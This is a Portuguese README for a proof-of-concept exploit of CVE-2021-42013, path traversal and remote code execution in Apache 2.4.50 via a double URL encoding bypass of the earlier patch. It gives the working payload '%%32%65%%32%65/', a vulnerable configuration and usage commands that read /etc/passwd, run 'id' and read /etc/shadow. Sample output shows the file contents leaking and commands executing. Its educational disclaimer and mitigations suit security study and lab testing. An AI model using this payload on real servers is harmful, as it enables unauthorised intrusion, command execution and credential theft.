
Exploração de prova de conceito para CVE-2021-42013, demonstrando travessia de caminho e execução remota de código no Apache 2.4.50 através de bypass de codificação dupla de URL do patch do CVE-2021-41773.
Somente para uso em ambientes controlados e próprios. Não usar contra sistemas sem autorização.
PoC desenvolvida para demonstrar CVE-2021-42013, presente no Apache HTTP Server 2.4.50.
Este CVE é o bypass do patch que a Apache publicou para o CVE-2021-41773. A versão 2.4.50 tentou corrigir o path traversal anterior adicionando uma validação que rejeitava as sequências .%2e e %2e.. No entanto, essa validação era insuficiente: não considerava que o mesmo resultado poderia ser obtido com dupla codificação URL, deixando a mesma superfície de ataque exposta.
| CVE-2021-41773 | CVE-2021-42013 | |
|---|---|---|
| Versão afetada | Apache 2.4.49 | Apache 2.4.50 |
| Encoding utilizado | .%2e/ | %%32%65%%32%65/ |
| Mecanismo | Single encoding | Dupla codificação (bypass do patch) |
| RCE possível | Sim (com mod_cgi) | Sim (com mod_cgi) |
| Versão corrigida | 2.4.50 (patch incompleto) | 2.4.51 |
O patch do Apache 2.4.50 adicionou uma validação em ap_normalize_path() que buscava literalmente as sequências .%2e e %2e. no path da requisição. Se as encontrasse, rejeitava a requisição com 400 ou 403.
O problema: essa validação era executada sobre a string antes de uma segunda passada de decodificação URL. Se o payload estivesse duplamente codificado, a validação não encontrava a sequência proibida porque ainda não estava decodificada — e quando finalmente era decodificada para resolver o path do filesystem, o ../ já estava presente e o traversal ocorria igualmente.
Payload: %%32%65%%32%65/
Validação 2.4.50 busca: .%2e → NÃO ENCONTRA → deixa passar
Primeira decodificação: %%32%65%%32%65/ → %2e%2e/
Segunda decodificação: %2e%2e/ → ../
Resultado: traversal bem-sucedido
A correção real veio no 2.4.51, onde a Apache reescreveu a lógica de normalização para resolver completamente o path antes de aplicar qualquer validação de segurança.
%%32%65 é a representação duplamente codificada de .:
. → %2e (encoding padrão)
% → %25 (encoding do símbolo %)
2 → %32 (encoding do caractere '2')
e → %65 (encoding do caractere 'e')
Então %2e com seu % codificado e os caracteres hex codificados se converte em %%32%65.
Uma primeira decodificação de %%32%65 produz %2e. Uma segunda produz ..
| Condição | Detalhe |
|---|---|
| Versão do Apache | Exatamente 2.4.50 |
| Diretiva de acesso | Require all granted no diretório exposto |
| Módulo CGI | mod_cgi habilitado (apenas para RCE) |
# Imagem do Apache 2.4.50 com configuração vulnerável
docker run -d -p 8080:80 --name apache-2450 vulhub/cve-2021-42013
Ou manualmente com Apache 2.4.50 e esta configuração em httpd.conf:
LoadModule cgi_module modules/mod_cgi.so
<Directory />
Require all granted
</Directory>
<Directory "/var/www/cgi-bin">
Options +ExecCGI
AddHandler cgi-script .cgi .pl .sh
Require all granted
</Directory>
Alias /traversal /var/www/html
python PoC_2021-42013.py --target <URL> --mode <traversal|rce> [--cmd <comando>]
# Ler /etc/passwd
python PoC_2021-42013.py --target http://localhost:8080 --mode traversal
# Executar id
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd id
# Comando com espaços
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"
============================================================
CVE-2021-42013 — Apache 2.4.50 Path Traversal + RCE
Bypass do patch do CVE-2021-41773 via dupla codificação
PoC com fins educacionais — Somente em ambientes próprios
============================================================
[+] Modo: Path Traversal (dupla codificação — bypass do patch CVE-2021-41773)
[+] Alvo: http://localhost:8080
[+] Encoding: %%32%65%%32%65/ → %2e%2e/ → ../
[+] URL construída: http://localhost:8080/traversal/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
[+] Enviando requisição...
[+] Servidor vulnerável! Status code: 200
[+] Confirmado: Apache 2.4.50 com patch incompleto
=== Conteúdo de /etc/passwd:
root:x:0:0:root:/root:/bin/bash
...
[+] Modo: RCE via mod_cgi (dupla codificação — bypass do patch CVE-2021-41773)
[+] Alvo: http://localhost:8080
[+] Comando: id
[+] RCE confirmado! (Apache 2.4.50 — patch incompleto)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2.4.51 ou superior.Require all denied como valor padrão.mod_cgi se não for necessário.PoC desenvolvida com fins educacionais para portfólio de segurança ofensiva.
| Argumento | Obrigatório | Descrição |
|---|
--target | Sim | URL base do servidor (ex: http://localhost:8080) |
--mode | Sim | traversal para ler arquivos, rce para executar comandos |
--cmd | Não | Comando a executar no modo rce (padrão: id) |